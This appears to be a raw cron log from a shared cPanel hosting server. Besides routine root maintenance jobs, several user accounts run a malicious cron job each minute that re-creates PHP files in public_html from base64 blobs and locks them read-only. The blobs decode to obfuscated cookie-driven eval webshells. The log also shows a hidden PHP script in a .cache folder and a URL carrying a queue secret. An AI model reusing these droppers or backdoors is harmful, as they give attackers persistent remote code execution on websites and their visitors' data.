Mar  2 02:35:02 medusa CROND[5804]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:35:02 medusa CROND[5798]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 02:35:02 medusa CROND[5799]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 02:35:02 medusa CROND[5810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:35:02 medusa CROND[5806]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 02:35:02 medusa CROND[5815]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:35:02 medusa CROND[5817]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:35:02 medusa CROND[5813]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 02:35:02 medusa CROND[5822]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:35:02 medusa CROND[5812]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 02:35:02 medusa CROND[5834]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 02:35:02 medusa CROND[5807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:36:01 medusa CROND[10369]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:36:01 medusa CROND[10370]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:36:01 medusa CROND[10371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:36:01 medusa CROND[10372]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:36:01 medusa CROND[10376]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 02:36:01 medusa CROND[10375]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:36:01 medusa CROND[10379]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:36:01 medusa CROND[10380]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:36:01 medusa CROND[10377]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:36:01 medusa CROND[10382]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:36:01 medusa CROND[10383]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:36:01 medusa CROND[10384]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:36:01 medusa CROND[10390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:36:01 medusa CROND[10378]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 02:37:01 medusa CROND[16418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:37:01 medusa CROND[16419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:37:01 medusa CROND[16420]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 02:37:01 medusa CROND[16422]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:37:01 medusa CROND[16424]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:37:01 medusa CROND[16423]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:37:01 medusa CROND[16427]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:37:01 medusa CROND[16428]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:37:01 medusa CROND[16431]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
